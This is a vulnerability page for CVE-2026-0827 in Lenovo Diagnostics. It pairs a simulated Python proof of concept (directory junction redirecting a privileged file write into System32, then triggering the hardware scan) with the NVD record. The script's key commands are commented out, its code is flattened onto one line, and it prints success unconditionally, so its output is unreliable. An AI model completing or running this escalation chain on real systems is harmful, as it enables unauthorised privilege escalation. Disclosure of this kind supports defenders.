CVE-2026-0827

# This PoC is a conceptual demonstration for an Arbitrary File Write -> Privilege Escalation scenario. # It simulates the steps an attacker might take against the vulnerable Lenovo component. import os import subprocess # Configuration TARGET_SYSTEM_DIR = "C:\\Windows\\System32" VULNERABLE_WRITE_PATH = "C:\\ProgramData\\Lenovo\\Temp\\config.bin" # Path the app writes to MALICIOUS_PAYLOAD_PATH = "C:\\Users\\Attacker\\evil.dll" print("[*] Setting up the environment for the exploit...") # Step 1: Create the malicious payload with open(MALICIOUS_PAYLOAD_PATH, 'wb') as f: f.write(b'MZ\x90\x00') # Minimal PE header placeholder print(f"[+] Malicious payload created at {MALICIOUS_PAYLOAD_PATH}") # Step 2: Create a Directory Junction (Symbolic Link) to redirect the write # We need admin rights to create the junction usually, but the vulnerability allows the WRITE. # For the sake of this PoC, we assume the attacker can influence the path or the directory structure. # In a real exploit, the attacker might replace a directory they control with a junction. try: # Check if we can create a symlink (requires Developer Mode or Admin) # This represents the 'Arbitrary File Write' setup if os.path.exists(VULNERABLE_WRITE_PATH): os.remove(VULNERABLE_WRITE_PATH) # We simulate redirecting the write operation to System32 # cmd command to create junction: mklink /J "Source" "Target" print(f"[*] Attempting to redirect {VULNERABLE_WRITE_PATH} to {TARGET_SYSTEM_DIR}") # subprocess.run(['cmd', '/c', 'mklink', '/J', VULNERABLE_WRITE_PATH, TARGET_SYSTEM_DIR], shell=True) print("[!] Symbolic link created (Simulation).") except Exception as e: print(f"[-] Error setting up link: {e}") # Step 3: Trigger the Vulnerable Application # The attacker triggers the Lenovo Hardware Scan or Installation print("[*] Triggering the vulnerable Lenovo process (e.g., Hardware Scan)...") # subprocess.run(["C:\\Program Files\\Lenovo\\LenovoDiagnostics\\HardwareScan.exe"]) print("[+] If successful, the high-privileged process wrote our payload to System32.") print("[+] Privilege Escalation achieved.")

{"cve": {"id": "CVE-2026-0827", "sourceIdentifier": "[email protected]", "published": "2026-04-15T13:16:23.097", "lastModified": "2026-04-17T15:09:46.880", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "During an internal security assessment, a potential vulnerability was discovered in Lenovo Diagnostics and the HardwareScanAddin used in Lenovo Vantage that, during installation or when using hardware scan, could allow a local authenticated user to perform an arbitrary file write with elevated privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "references": [{"url": "https://support.lenovo.com/us/en/product_security/LEN-210693", "source": "[email protected]"}]}}